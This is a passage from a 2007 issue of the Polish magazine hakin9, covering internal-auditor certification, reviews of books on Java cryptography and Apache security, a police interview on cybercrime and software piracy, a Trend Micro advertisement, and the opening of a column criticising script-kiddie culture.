Self-Assessment.

Egzaminy CIA odbywają się dwa ra-
zy do roku – w maju i listopadzie, tak-
że w Polsce. Szkolenia przygotowaw-
cze prowadzi między innymi Ernst &
Young Academy of Business
. Koszt
uzyskania certyfikatu obejmuje opła-
tę rejestracyjną ważną przez 2 lata,
która wynosi 30 USD dla studentów,
60 USD dla członków IIA lub 75 USD
dla pozostałych osób. Za każdy egza-
min należy uiścić opłatę w wysokości
odpowiednio 35 USD – studenci, 70
USD – członkowie IIA oraz 95 USD
– pozostałe osoby. Program egzami-
nu składa się z czterech części. Na-
leży tu podkreślić, iż posiadanie cer-
tyfikatu CISA zwalnia z czwartej czę-
ści egzaminu.

Część I

Rola procesu audytu wewnętrznego
w zakresie nadzoru korporacyjnego,
ryzyka i kontroli:

• zgodność ze standardami IIA do-

tyczącymi atrybutów audytu we-
wnętrznego: 15% – 25%,

• tworzenie planu oraz określe-

nie priorytetów działania audytu
wewnętrznego kierując się ryzy-
kiem: 15% – 25%,

• rozumienie roli procesu audytu

wewnętrznego w zakresie nadzo-
ru organizacyjnego: 10% – 20%,

• wypełnianie pozostałych ról i

odpowiedzialności audytu we-
wnętrznego: 0% – 10%,

• elementy wiedzy w zakresie nad-

zoru organizacyjnego, ryzyka i
kontroli: 15% – 25%,

• planowanie zadań: 15% – 25%.

Część II

Wykonywanie zadań audytu we-
wnętrznego:

• wykonywanie

zadań:

25%

– 35%,

• wykonywanie zadań szczegól-

nych: 25% – 35%,

• monitorowanie wyników zadań:

5% – 15%,

• elementy wiedzy w zakresie

oszustw: 5% – 15%,

• narzędzia do realizacji zadań au-

dytorskich: 15% – 25%.

Część III

Analizy biznesowe i technologie in-
formatyczne:

• procesy biznesowe: 15% – 25%,
• rachunkowość finansowa i finan-

se: 15% – 25%,

• rachunkowość zarządcza: 10%

– 20%,

• regulacje, prawo i ekonomia: 5%

– 15%,

• technologie informatyczne (IT):

30% – 40%.

Część IV

Umiejętności w zarządzaniu przed-
siębiorstwem:

• zarządzanie strategiczne: 20%

– 30%,

• globalne otoczenie biznesowe:

15% – 25%,

• działania w organizacji: 20%

– 30%,

• umiejętności kierownicze: 20%

– 30%,

• negocjacje: 5% – 15%.

Podsumowanie

W procesie audytu bardzo waż-
nym składnikiem jest czynnik ludz-
ki. Pomimo zastosowania właści-
wych standardów i metodyk audy-
tów systemów informatycznych or-
ganizacje chętnie zlecają przepro-
wadzenie audytów firmom, które
posiadają certyfikowanych audy-
torów. Takie podejście nie wyklu-
cza, lecz minimalizuje możliwość
wystąpienia błędu ludzkiego przy
przeprowadzaniu czynności audy-
torskich. Konsekwencją przepro-
wadzenia audytów informatycz-
nych na wysokim poziomie jest do-
starczenie rzetelnych informacji,
większa ochrona instytucji przed
niepożądanymi zdarzeniami, lep-
sze zabezpieczenie majątku firmy i
racjonalne wykorzystanie zasobów
informatycznych. l

O autorze

Wojciech Malec – audytor wewnętrzny
Systemu Zarządzania Jakością, spe-
cjalista w zakresie ochrony informacji
prawnie chronionych, odpowiedzialny
za implementacje zasad bezpieczeń-
stwa w nowych projektach informa-
tycznych. Redaktor portalu http://www.
ochronainformacji.pl
.
Kontakt z autorem:
w.malec@ochronainformacji.pl
.

background image

hakin9 Nr 10/2007

www.hakin9.org

72

Księgozbiór

Kryptografia w Javie. Od podstaw

Tytuł: Kryptografia w Javie. Od podstaw

Autor: David Hook

Wydawca: Helion

Rok wydania w Polsce: 2006

Strony: 512

Jak istotna w dzisiejszym świecie jest kryptografia,
nikomu raczej nie trzeba tłumaczyć. Co jednak zrobić,
by nasza aplikacja była jednocześnie wydajna i bez-
pieczna? Jak w jednym z najpopularniejszych i najszyb-
ciej rozwijających się języków programowania został
rozwiązany problem szyfrowania? Za główny cel autor
postawił sobie przybliżyć Czytelnikowi wszystkie te
zagadnienia w sposób jak najbardziej przystępny.

Co znajdziemy w książce? Pierwsze pięć rozdziałów

dotyczy podstaw, czyli przede wszystkim interfejsów
(JCE, JCA) z wykorzystaniem dostawcy Bouncy Castle
oraz podstaw kryptografii, takich jak szyfry symetrycz-
ne, asymetryczne, skróty wiadomości (MAC, HMAC), a
także również konkretne algorytmy: RSA, DSA. Kolej-
ne rozdziały to już prawdziwa gratka dla osób poważnie
zajmujących się tą dziedziną informatyki. Przejdziemy
poprzez notację ASN.1, operacje na certyfikatach, CMS
i S/MIME, na SSL i TLS kończąc. Jako dodatek znaj-
dziemy skrót terminów i ważniejszych zagadnień, roz-
szerzenie tematów (np. krzywe eliptyczne) i podzieloną
tematycznie bibliografię.

Pierwsze, na co zwróciłem uwagę, to bardzo dobry

podział merytoryczny treści. Autor wybrał schemat:
opis, jak to działa, spróbuj sam i konsekwentnie prze-
strzega go, aż do samego końca. Ma to istotny wpływ
przy poszukiwaniu odpowiedzi na konkretne pytania,
gdyż zapobiega bezsensownemu wertowaniu stron.
Przykłady są dobrane do konkretnego zagadnienia i
nie zawierają zbędnych dodatków. Spodobało mi się,
że autor nie zasypuje Czytelnika olbrzymią liczbą pro-
fesjonalnych
terminów, dzięki czemu czyta się tę pozy-

cję dość przyjemnie. Dużym atutem są również przy-
kłady operacji szyfrowania na strumieniach, m. in. pli-
kach.

Z minusów należy wymienić fakt, że dowiemy się tylko

i wyłącznie o jednym dostawcy klas implementujących
SPI (Service Provider Interface) – Bouncy Castle, któ-
rego jednym z założycieli jest autor. Użyte klasy narzę-
dziowe w następujących po sobie rozdziałach są kolejny-
mi rozszerzeniami poprzednich, co bywa uciążliwe, gdy
chcemy szybko wykorzystać daną klasę w swoim projek-
cie. Całość obejmuje J2SE 5.0, więc próżno szukać przy-
kładów z wykorzystaniem JEE. Przy pierwszym czyta-
niu omawianie poszczególnych metod może być nużące,
jednak gdy zajdzie potrzeba dotarcia do szczegółowych
informacji o wybranej funkcji, jest to wysoce przydatne.

Podsumowując – nie jest to książka idealna, gdyż autor

w pewnych obszarach poszedł na kompromis pomiędzy
oczekiwaniami zaawansowanych i początkujących pro-
gramistów. Mogę jednak śmiało stwierdzić, że Kryptogra-
fia w Javie
to dobra pozycja, w której znajdziemy zarów-
no dobrze przygotowaną teorię, jak i przepis na praktycz-
ne zastosowanie nabytej wiedzy – dość aktualnej, gdyż
obejmującej J2SE 5.0. Polecam ją zarówno słabo orien-
tującym się w tematyce, jak i tym, którzy napisali już nie-
jeden kod, gdyż każdy, kto zajmuje się tworzeniem opro-
gramowania w Javie, znajdzie w niej coś dla siebie. Z pew-
nością nie jest to książka, którą po przeczytaniu odstawia
się na półkę, ponieważ do opisów poszczególnych metod
i szczegółowych rozwiązań z pewnością czytelnicy wrócą
nie raz w trakcie tworzenia swoich aplikacji.

Marcin Kulawinek

Apache. Zabezpieczenia aplikacji

i serwerów WWW

Tytuł: Apache. Zabezpieczenia aplikacji i serwerów www

Autor: Ryan C. Barnett

Wydawca: Helion

Rok wydania w Polsce: 2007

Strony: 544

Apache jest jednym z najpopularniejszych serwerów,
właściwe jego zabezpieczenie może być wyzwaniem nie
tylko dla początkujących administratorów, ale także dla

tych bardziej zaawansowanych. Można się o tym przeko-
nać przeglądając niemal codziennie pojawiające się wia-
domości na temat podmienienia witryny czy też przepro-

background image

wadzenia udanego ataku na jakiś serwis. Ryan C. Bar-
nett w swojej książce Apache. Zabezpieczenia aplika-
cji i serwerów WWW
postawił sobie niełatwy cel, jakim
jest opisanie procesu zabezpieczenia serwera oraz takiej
nim administracji, która zminimalizuje ryzyko udanego
włamania.

Książka w pierwszym rozdziale przedstawia ogólne

czynniki mające wpływ na bezpieczeństwo Sieci i uka-
zuje istotną rolę systemu operacyjnego oraz aplikacji w
dziedzinie zabezpieczeń. Kolejne rozdziały koncentru-
ją się już na bezpieczeństwie serwera Apache. Tak więc
mamy tu opis instalacji (wraz z przykładami poprawnej
konfiguracji), przy czym zostały pokazane dwie możli-
we drogi: jedna polega na instalacji serwera z pakietów
binarnych, druga – preferowana przez autora – to samo-
dzielna kompilacja z plików źródłowych. Kontynuując lek-
turę, dowiadujemy się o sposobach wykrywania i reago-
wania na włamania do systemu, metodach testowania
zabezpieczeń serwera za pomocą odpowiednich narzę-
dzi, a także poznajemy opis najważniejszych modu-
łów przeznaczonych do zabezpieczenia aplikacji oraz
samego serwera. Gdy już zapoznamy się z tymi rozdzia-
łami, przyjdzie nam sprawdzić nowo nabyte umiejętności.
Rozdział ósmy służy właśnie temu celowi i może zapew-

nić niezłą zabawę, spełniając przy tym swój podstawowy
cel – czyli nauczenie administratora Apache myśleć tak,
jak włamywacz (przynajmniej takie jest założenie), dzięki
czemu będzie mógł przewidywać ewentualne drogi ataku
i zapobiegać im skuteczniej. Następnie będziemy mieli
okazję zapoznać się z otwartym serwerem proxy skon-
figurowanym jako system-pułapka oraz olbrzymią ilością
danych o atakach, zgromadzonych przez ten serwer. Ma
to istotny związek z problematyką wykorzystania serwe-
ra Apache w zabezpieczaniu Sieci oraz pomaga zapre-
zentować opisane wcześniej metody ochrony. Całość
zamyka podsumowanie przedstawionych w książce roz-
wiązań.

Książka zawiera naprawdę solidną porcję wiedzy

wzbogaconą licznymi przykładami, dzięki czemu czyta
się ją lekko i przyjemnie. Myślę, że można ją polecić
każdemu użytkownikowi serwera Apache, a szczegól-
nie tym, którzy są zainteresowani jak najlepszym jego
zabezpieczeniem przed intruzami.

Mariusz Świercz

Serdeczne podziękowania dla wydawnictwa Helion, za
udostępnienie książek do recenzji.

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 10/2007

74

Wywiad

hakin9:

Proszę powiedzieć Czytelnikom kilka

słów o sobie – ile czasu pracuje Pan w policji, ja-
ki ma Pan staż na poszczególnych stanowiskach,
jakimi sukcesami może się Pan pochwalić?

Zbigniew Urbański:

W policji pracuję od 1991

roku. Zaczynałem od zwykłej pracy w prewencji –
przez 1,5 roku po prostu patrolowałem ulice. Było
to w Poznaniu. Potem powstał w Komendzie Wo-
jewódzkiej w Poznaniu nowy wydział ds. Przestęp-
czości Gospodarczej (PG) i zatrudniono mnie tam
na stanowisku asystenta, ale praktycznie przez 6
miesięcy byłem kierowcą i przyglądałem się pra-
cy kolegów. Piractwem zacząłem się interesować
w 1994 roku, a swoją działalność w tym zakresie
rozpocząłem od... ścigania piractwa na bazarach.
Piractwo zaczęło panoszyć się także w Internecie
i tak to się wszystko potoczyło.

h9:

Jak wygląda walka z przestępczością in-

ternetową i piractwem? Czy są w nią zaangażo-
wane specjalne zespoły skupiające specjalistów
IT, ile jest takich zespołów w Polsce?

ZU:

Pod koniec lat 90-tych Komenda Głów-

na Policji wyszła z inicjatywą, aby przeszko-
lić jak największą liczbę policjantów, którzy już
pracowali w PG i mieli odpowiednie wykształce-
nie, a także byliby chętni nabyć wiedzę pod ką-
tem hi–tech. Później tacy policjanci mieli wrócić
do swoich jednostek i szkolić w nich kaskadowo
kolejnych policjantów. Taki cykl szkoleń rozpoczął
się w 2000 roku. Wykładowcami byli policjanci z

prawie wszystkich krajów Unii Europejskiej i nie
tylko (Niemcy, Francuzi, Holendrzy, Anglicy, Hisz-
panie, przedstawiciele FBI czy Secret Service).
Początek tych szkoleń był bardzo zabawny, szko-
leniowcy przyjeżdżając do Polski myśleli, że tra-
fili do kraju, gdzie poziom wiedzy informatycznej
jest bardzo niski i zaczynali od uczenia nas bu-
dowy komputera. Naszą dotychczasową wiedzą
zburzyliśmy im cały proces szkolenia. Kolejne
szkolenia oczywiście odbywały się już na zupeł-
nie innym poziomie. Dawano nam różne zadania
takie jak steganografia, nauka programu nCase
do odzyskiwania danych, odszyfrowanie danych
zapisanych na dysku czy łamanie haseł. I to się
udało! Te szkolenia trwają do dnia dzisiejszego,
wspomniana grupa policjantów jest najczęściej
szkoloną grupą zawodową w całej policji (oprócz
antyterrorystów). Potrzebne są ciągłe szkolenia,
ponieważ ta dziedzina wiedzy się wciąż zmienia,
powstają nowe techniki i narzędzia. Prosty przy-
kład: kiedy zaczynaliśmy poznawać nCase, była
to wersja 3, a w tej chwili jest już 6. Jesteśmy wła-
śnie po takim szkoleniu – okazuje się, że zmiany,
jakie wprowadza producent programu, są tak po-
ważne i skomplikowane, że trzeba na nowo or-
ganizować szkolenia (najczęściej są one dwuty-
godniowe).

h9:

Czy takie szkolenia odbywają się stan-

dardowo w szkole policyjnej, czy też można okre-
ślić je jako bardziej elitarne?

Wywiad z komisarzem

Zbigniewiem Urbańskim

Zbigniew Urbański

W policji pracuje od 1991 roku,

zaczynał od prewencji, obecnie jest

komisarzem, ekspertem do spraw

przestępczości internetowej.

background image

ZU:

Są to szkolenia specjalistyczne, techniczne. Odby-

wają się zazwyczaj w Legionowie, gdzie znajduje się Mię-
dzynarodowe Centrum Policji i pracuje wykwalifikowana ka-
dra szkoleniowa. Znajduje się tam odpowiednia sala multi-
medialna, specjalnie przygotowana do takich szkoleń.

h9:

Czy możemy mówić o konkretnej polityce policji ds.

zwalczania przestępczości internetowej i kradzieży własno-
ści intelektualnej? Czy są prowadzone szkolenia, kto w nich
uczestniczy (szeregowi, oficerowie, ochotnicy)? Jak wyglą-
da zaplecze sprzętowe, laboratoria w jakich pracują Pań-
stwa specjaliści?

ZU:

Z jednej strony działalność policji należy pojmować

jako całość, ale w tym wypadku rzeczywiście można po-
wiedzieć o takiej konkretnej polityce. Nas swego czasu me-
dia nazywały Cyberszeryfami – to trochę zabawne, ale chy-
ba coś w tym jest. My oczywiście pracujemy w rzeczywi-
stym świecie, a nie w wirtualnym, ale jesteśmy policjantami
naprawdę dobrze przeszkolonymi - głównie do zwalczania
przestępczości komputerowej i internetowej.

h9:

Słyszymy czasem o tzw. zapaleńcach, którzy do-

szkalają się na własny rachunek i drążą konkretne tematy.
Czy może Pan podać jakiś konkretny przykład?

ZU:

Większość policjantów do niedawna (bo chwi-

li obecnej staramy się, żeby to jednak byli informatycy), w
tym wielu moich kolegów i ja sam uczyliśmy się na wła-
snych albo pożyczonych komputerach. Jak dobrze pamię-
tam, w roku 1993 czy 1994, komputer w policji to była cie-
kawostka, więc ja uczyłem się jego obsługi na komputerze
kolegi. Stwierdziłem kiedyś, że to ma ogromną przyszłość
i wraz z rozwojem technologii informatycznych będzie po-
stępowała też przestępczość komputerowa. Jeżeli policjan-
ci jadą na przeszukanie – czy to do firmy, czy do mieszka-
nia prywatnego – to zwykle na miejscu jest jakiś komputer
i trzeba go przeszukać, jeśli nie ma samego komputera, to
są płyty, dyskietki, które musimy przejrzeć, podobnie jest
z telefonem. Mamy urządzenia do odczytywania danych z
urządzeń, które mają możliwość zapisu danych na różnego
rodzaju nośnikach.

h9:

Jak wygląda proces wykrywania nielegalnego opro-

gramowania w firmach – od momentu zgłoszenia o prze-
stępstwie do zatrzymania?

ZU:

Ten proces wygląda bardzo różnie. Osobiście pa-

miętam przypadek, kiedy zgłosił się do nas były pracow-
nik firmy, który zgłosił, że korzysta ona z nielegalnych sys-
temów operacyjnych. Oczywiście, jeżeli otrzymujemy takie
informacje, to sami musimy to sprawdzić i to jest żmudna
praca. Nie można tak po prostu wejść do firmy, staramy się
najpierw w jakiś inny sposób potwierdzić te informacje. My
nie robimy kontroli, kiedy już wchodzimy do firmy, to musi-
my mieć do tego solidne podstawy, a także nakaz prokura-
tora. Jeśli jednak już się to stanie, rozpoczyna się żmudna
praca logistyczna – trzeba odpowiedzieć na pytanie, jak w
należyty sposób zabezpieczyć 100 komputerów. Do każde-
go komputera powinien być przypisany jeden policjant, któ-
ry miałby pilnować, aby nikt nie miał do niego dostępu i nic
z tym komputerem nie mógł już zrobić. Od momentu zabez-
pieczenia komputera każda operacja na nim powinna być

background image

hakin9 Nr 10/2007

www.hakin9.org

Wywiad

76

odnotowana – nawet pojedynczy ruch myszką. Spisywa-
ne są wszystkie części komputerowe. Przez cały czas to-
warzyszy nam osoba wyznaczona przez firmę i przygląda
się naszym działaniom, później zaś podpisuje się pod pro-
tokołem.

h9:

Jak wyglądają wyroki w takich sprawach? Czy są

to niskie kary w zawieszeniu, czy może takie o których mó-
wi się w telewizji? Czy te wyroki mogą odstraszyć potencjal-
nych przestępców? Jakie kary pieniężne nakładane są na
firmy używające nielegalnego oprogramowania?

ZU:

Tak naprawdę nie wiemy, jakie są wyroki. Nasza

praca kończy się, kiedy prokurator kieruje całą sprawę do
sądu. Najczęściej w sprawach o naruszenie praw autor-
skich zapadają wyroki w zawieszeniu na 3 lata. Zawsze na-
kładana jest kara grzywny, są to kwoty od kilkunastu do kil-
kuset tysięcy złotych. Często producent oprogramowania
występuje jeszcze na drogę cywilną, domagając się od-
szkodowania. Bywały przypadki, kiedy firmy musiały zapła-
cić odszkodowania w wysokości 400 tysięcy złotych.

h9:

Jak kształtuje się poziom piractwa w Polsce ?

ZU:

Nie prowadzimy sami takich badań, ale słyszałem

ostatnio, że odnotowuje się spadek poziomu piractwa w
Polsce. Moim zdaniem, jest on jeszcze niestety za wysoki.
Zdajemy sobie sprawę z tego – zresztą podobnie jak produ-
cenci oprogramowania – że nie da się wyeliminować pirac-
twa całkowicie. Wszystko się przeniosło teraz do Interne-
tu. Kiedyś biegaliśmy po stoiskach i przeszukiwaliśmy tor-
by czy kwietniki, natomiast teraz jest to praca za biurkiem,
przy monitorze.

h9:

Czy korzystanie z nielegalnego oprogramowania

przez użytkowników (na własny użytek) jest tak samo po-
strzegane z punktu prawnego jak używanie tego oprogramo-
wania przez firmy lub osoby, które czerpią z tego profity?

ZU:

Polskie prawo jest tak skonstruowane, że każde

używanie nielegalnego oprogramowania jest karalne. Jeżeli
ktoś wykorzystuje takie oprogramowanie w pracy czy do za-
bawy w domu - popełnia przestępstwo. Jednak w przypad-
ku, gdy ktoś prowadzi działalność gospodarczą i czerpie z
nielegalnego oprogramowania korzyści materialne – podle-
ga wyższej karze.

h9:

Czy w Polsce odnotowuje się ataki hakerskie w celu

uzyskania korzyści materialnych, np. kradzieże pieniędzy z
kont bankowych, wartościowych danych? Może Pan poku-
sić się o jakiś przykład?

ZU:

Zanotowaliśmy ok. 200 zgłoszeń dotyczących ata-

ków hakerskich w Polsce, a to jest bardzo mało. Z dru-
giej strony, często znaleźć można w Internecie – na róż-
nych blogach czy forach – wypowiedzi osób chwalących
się swoimi udanym atakami, np. że udało się podmienić
coś na określonej witrynie czy uzyskać dostęp do pewnych
poufnych danych. My jednak na podstawie tego nie może-
my nic zrobić, dopóki zaatakowana organizacja sama nam
tego nie zgłosi. Rzadko się zdarza, że otrzymujemy zgło-
szenia o kradzieży cennych danych. Najczęściej dociera-
ją do nas zgłoszenia o atakach DDoS, które utrudniają pra-
cę serwera. Zdarzały się sytuacje, że ktoś żądał kwot pie-
niężnych za oddanie danych okradzionej firmie, sprawy ta-

kie kończyły się naszym sukcesem z naszej strony i zatrzy-
maniem takiej osoby.

h9:

Czy jest prawdą, że banki nie ujawniają informacji

o fakcie – udanego bądź nie – ataku na ich placówki ze wzglę-
du na opinię publiczną i zagrożenie ze strony prasy, konkuren-
cji? Czy banki są zdolne nawet do niepowiadamiania policji o
udanym ataku, bojąc się, że taki news obiegnie kraj?

ZU:

Nie wiem, czy takie sytuacje mają miejsce, gdyż po

prostu nie posiadam takich informacji. To, co się dzieje po
stronie banku, jest wyłącznie jego sprawą. Ja mogę tylko
powiedzieć, że z bankami współpracuje się nam bardzo do-
brze. Jest to współpraca w zakresie płatności elektronicznych,
robienia nakładek skanujących karty na bankomaty czy walki z
przypadkami dokonywania zakupów kradzioną kartą. Nie od-
notowaliśmy przypadków włamań na systemy bankowe.

h9:

Czy w Polsce możemy mówić o zorganizowanej

przestępczości internetowej, czy mamy raczej do czynienia
z pojedynczymi osobami?

ZU:

Tak, możemy w tym wypadku mówić o zorganizo-

wanej przestępczości internetowej. Była taka duża sprawa
na południu Polski, dotyczyła oczywiście piractwa. Prze-
stępcy byli tak dobrze zorganizowani, że posiadali nawet
serwer, który przewozili z miasta do miasta, żeby ich nie
namierzyć. Byli podzieleni na grupy osób, z których część
kontaktowała się z osobami ze Stanów Zjednoczonych, ma-
jącymi dostęp do najnowszych plików muzycznych czy fil-
mów. Ukradzione materiały były później sprzedawane oso-
bom zainteresowanym w Polsce. Występował tu wyraźny
podział ról: jedni byli odpowiedzialni za zakupy na Zacho-
dzie, inni robili kopie czy obsługiwali serwer, jeszcze kolejni
prowadzili sprawy finansowe szajki. Tak naprawdę przez In-
ternet nietrudno się zorganizować, nawet nie trzeba się wi-
dzieć i znać. Dla nas oznacza to utrudnienie – przesłucha-
nia takich osób nam niewiele dają, gdyż one się najzwyczaj-
niej w świecie nie znają. Musimy w naszej pracy opierać się
więc na danych elektronicznych. Z drugiej strony są to do-
bre dowody, bo ciężko je podważyć w sądzie.

h9:

Jak wygląda status prawny eMule, Kazaa, YouTu-

be? Czy osobie ściągającej materiały z tych serwisów bądź
klientów p2p na własny użytek grozi jakaś kara? Czy taka
działalność jest monitorowana i czy użytkownik ściągający
100 MB na tydzień tak samo jest postrzegany, jak ten który
pobiera 10 GB tygodniowo?

ZU:

Generalnie nie interesujemy się osobami, które

ściągają materiały, tylko tymi, które je udostępniają, roz-
powszechniają. Działania nasze inspirowane są głównie
przez firmy, które reprezentują właścicieli utworów. Ludzie
ci się organizują, przeszukują Internet oraz monitorują sieci
p2p. Później przekazują nam dane dotyczące konkretnych
przypadków transferu danych wraz z wnioskiem o ściganie.
Oczywiście, jeżeli my trafimy podczas monitorowania sie-
ci na tzw. grubą rybę, która udostępnia przykładowo 5 tera-
bajtów danych, to sami podejmujemy działania – nie sposób
przejść obok czegoś takiego obojętnie. Jednak ci, którzy je-
dynie ściągają dane, nie popełniają przestępstwa.

h9:

Dziękujemy za rozmowę.

ZU:

Dziękuję.

background image

TREND MICRO DLA MSP

Firmy IT oczekują kompleksowej ochrony w zakre-
sie bezpieczeństwa poczty i dostępu do Interne-
tu. Jednocześnie administracja rozwiązań bezpie-
czeństwa musi być przyjazna i intuicyjna, a cena
nie może być zbyt wysoka – mówi Filip Demianiuk,
inżynier Trend Micro.

Takie kompleksowe rozwiązania specjalnie dla

MSP przygotowała firma Trend Micro. Na szczegól-
ną uwagę zasługują następujące produkty: Client/
Server Security for SMB, Client/Server/Messaging
Security for SMB, Interscan Viruswall for SMB, Ne-
atsuite for SMB, Anti-Spyware for SMB. Warto też
wspomnieć w tym miejscu o rozwiązaniu hardwe-
arowym IGSA, które skanuje ruch webowy i pocz-
towy.

Client/Server Security for SMB to pakiet prze-

znaczony dla firm, w których liczba stacji robo-
czych nie przekracza 250. Zapewnia pełną ochro-
nę tych stacji oraz serwerów pracujących pod
kontrolą systemu Microsoft Windows przed zagro-
żeniami takimi jak wirusy, robaki, trojany, ataki
hakerów, spyware oraz rootkity. Konfigurowanie
pakietu oraz zarządzanie nim odbywa się poprzez
konsolę dostępną przez przeglądarkę internetową
i jest na tyle proste, iż nie wymaga od użytkownika
specjalistycznej wiedzy z zakresu informatyki.

Podobny charakter ma system Client/Server/

Messaging Security for SMB. Stworzono go z my-
ślą o skutecznej walce z wirusami i spamem.
Zapewnia ochronę 250 stacji roboczych, serwerów
plikowych oraz serwerów pracy grupowej Microsoft
Exchange. Administrator ma możliwość używania
jednego rozwiązania do jednoczesnej, kompletnej
ochrony antywirusowej i antyspamowej sieci przed-
siębiorstwa. Centralne zarządzanie poprzez specjal-

ną konsolę dostępną poprzez przeglądarkę inter-
netową zapewnia kontrolę nad ochroną antywiru-
sową sieci w całej firmie. Łatwa instalacja i prosto-
ta obsługi powoduje, że pakiet może być wdrażany i
administrowany nawet przez użytkowników, którzy
nie mają fachowej wiedzy z zakresu informatyki.

Interscan Viruswall for SMB to z kolei pro-

gram przeznaczony do ochrony bramki interneto-
wej przed zagrożeniami takimi jak wirusy, robaki,
trojany, spam itp. Jego sprzętowy odpowiednik,
to appliance IGSA. Ochrona przed wspomnianymi
zagrożeniami realizowana jest poprzez bieżące
skanowanie poczty elektronicznej (ruch poprzez
protokoły SMTP, POP3), ruchu przez przeglądar-
kę internetową (HTTP) oraz ruchu związanego
z pobieraniem plików z serwerów FTP. Zagrożenia
są identyfikowane i usuwane już na poziomie
bramki internetowej zanim dotrą do stacji robo-
czych czy serwera pocztowego, co zapobiega
rozprzestrzenianiu się infekcji wirusowych. Ochro-
na antywirusowa realizowana jest w oparciu
o bazę sygnatur wirusów, która jest na bieżąco
aktualizowana przez firmę Trend Micro, jak i mecha-
nizmy heurystyczne (IntelliTrap). Ochronę anty-
spamową zapewniają największe na świecie listy
statyczne RBL+ i dynamiczne QIL oraz heury-
styczny moduł antyspamowy, którego stopień
czułości można regulować w zależności od stopnia
ochrony jaki chcemy uzyskać. Program umożliwia
również filtrowanie zawartości poczty elektronicz-
nej oraz zawartości stron WWW.

Neatsuite for Small and Medium Business

to połączenie Client Server Messaging Security
for Small and Medium Business oraz InterScan
VirusWall 6.0. Łączy w sobie zalety obu wspomnia-

nych produktów. Dodatkowo umożliwia filtrowa-
nie zawartości poczty elektronicznej i zawarto-
ści stron WWW oraz blokowanie transferu plików
z Internetu. Administrator może więc używać
jednego rozwiązania do ochrony antywirusowej
i antyspamowej. Łatwa instalacja i obsługa powo-
duje, że pakiet może być wdrażany i administro-
wany nawet przez użytkowników, którzy nie mają
fachowej wiedzy z zakresu informatyki.

Wreszcie Anti-Spyware for SMB. Służy do

ochrony stacji roboczych i serwerów przed progra-
mami szpiegowskimi (spyware). Skutecznie bloku-
je i usuwa spyware, włącznie z programami typu
adware, rejestrującymi naciśnięcia klawiszy (key-
logger), wyłączającymi zabezpieczenia i przejmu-
jącymi kontrolę nad przeglądarką, które powodują
uszkodzenia zasobów firmy i negatywnie wpływają
na jej wydajność oraz kradną informacje. Program
zapewnia centralną instalację, administrację oraz
konfiguracje dostepną poprzez Webową konso-
lę zarządzającą. Dzięki automatycznej aktualiza-
cji oraz ochronie w czasie rzeczywistym program
Trend Micro Anti-Spyware for SMB zapewnia najlep-
szą ochronę anty-spyware.

Trend Micro uruchomił wspólnie z Dagmą

Sp. z o.o., dystrybutorem rozwiązań z zakresu bez-
pieczeństwa IT, nowy program partnerski dla resel-
lerów obsługujących rynek małych i średnich firm.
Dagma Sp. z o.o., która współpracuje z Trend Micro
już od ośmiu lat, staje się obecnie strategicznym
partnerem tej firmy na rynku MSP. Klienci otrzy-
mali dzięki temu łatwy dostęp do kompleksowych
rozwiązań z zakresu bezpieczeństwa. Więcej
informacji na temat produktów Trend Micro można
znaleźć na stronie

www.trendmicrosmb.pl.

Reklama

Liczba rosnących zagrożeń związanych z wykorzystaniem komputerów

i Internetu spowodowała, że sektor SMB zaczął bardzo poważnie traktować

sprawy bezpieczeństwa IT.

DAGMA Sp. z o.o. – dystrybutor
TREND MICRO w Polsce
ul. Pszczyńska 15
40-478 Katowice
tel. (32) 259 11 00
www.dagma.pl
sales@dagma.pl
www.trendmicrosmb.pl

Kontakt:

background image

hakin9 Nr 10/2007

www.hakin9.org

78

Felieton

R

ozwój mediów i rosnąca liczba zainteresowa-
nych bezpieczeństwem sieciowym przyczy-
nia się do rozrostu grup użytkowników Inter-

netu, których po prostu mogłoby nie być. Czasem są
to ludzie denerwujący innych użytkowników, a cza-
sami niewinne nastolatki szukające zabawy i rozryw-
ki. Jest to kłopot dzisiejszego społeczeństwa głów-
nie z powodu rosnącej liczby przestępstw sieciowych.
Kiedyś mało kto znał pojęcie haker bądź przestępstwa
komputerowe.

Kto pamięta grę Pacman lub Pong? Nie – wcale nie

wydziwiam. Te stare, można powiedzieć oldschoolowe
gry do dzisiaj są pamiętane przez starszyznę. Pamię-
tam, że sam się wychowałem na starej, poczciwej kon-
soli Pegasus z paroma dyskietkami do wyboru. Podsta-
wówka tego w ogóle nie zna. Dlaczego? Odpowiedź jest
bardzo prosta. Po pierwsze Tibia, która jest zmorą wiszą-
cą nad głowami setek tysięcy młodych umysłów. Jest to
według mnie jedna z najbardziej demoralizujących gier
przeznaczonych dla odbiorców w młodym wieku. Ile to
razy można przeczytać wypowiedź typu Cześć, pomoże-
cie? Jakiś typek ukradł mi dużo rzeczy w Tibii i chciałbym
się jakoś odpłacić. Jest może do tego jakiś program?.
Dalszą część tej niezdrowej rozmowy wyobrazić może
sobie każdy. W dzisiejszych czasach prawie każdy dzie-
ciak marzy o przygodach, a duża część z nich przygody
te kojarzy z komputerem i Siecią. Można zauważyć, jak
na naszych oczach rosną małe stworki przystosowane
do gotowych programów typu VSK Keylogger, czy innych,
które (nie okłamujmy siebie) pomagają w codziennym
życiu. Trzeba jednak wiedzieć coś na temat, którym się
chce zająć, trzeba choćby w małej mierze łyknąć trochę
wiedzy. Dzieciaki na pytanie typu: Mogę mieć dostęp do
GG kolegi?
dostają w odpowiedzi linki do różnego typu
oprogramowania. Ale co dalej? Wcale nie myślą nad tym,
co robią. Wyobrażają sobie dobrą zabawę w szkole, gdy
zobaczą twarz kolegi, który właśnie pozbył się GG. Nie
dość, że dostaną program podany na tacy i małą podpo-
wiedź typu SE lub Socjotechnika, to i tak nie potrafią tego
często wykorzystać. I już szykuje się następne pytanie,
Co to jest SE? Czy nie dość już tego?

Gdzie się podziały czasy, gdy szanowano sam Inter-

net, jak i każdego użytkownika? Teraz dzięki zmiennym

Druga strona medalu

IP tworzy się grupa userów zwana dziećmi neostra-
dy lub trollami. Ich rola ogranicza się głównie do zatru-
wania rozmów na forach, kanałach IRC czy też gru-
pach dyskusyjnych. Myślę, że każdy z nas zna poję-
cie troll w sieciowym znaczeniu. Co przyczyniło się do
stworzenia się tej warstwy społeczeństwa sieciowego?
Niech każdy odpowie sobie sam na to pytanie. Rozwój
Internetu i jego dostawców. Nie neguję w tym momen-
cie TP, ale zwracam uwagę na problem, jaki stworzyli-
śmy sobie sami. Chcieliśmy anonimowości i nieuchwyt-
ności? Mamy proxy, mamy TOR, ale mamy też i TP. Dla
niektórych jest to wygodne, ale nie wszyscy podziela-
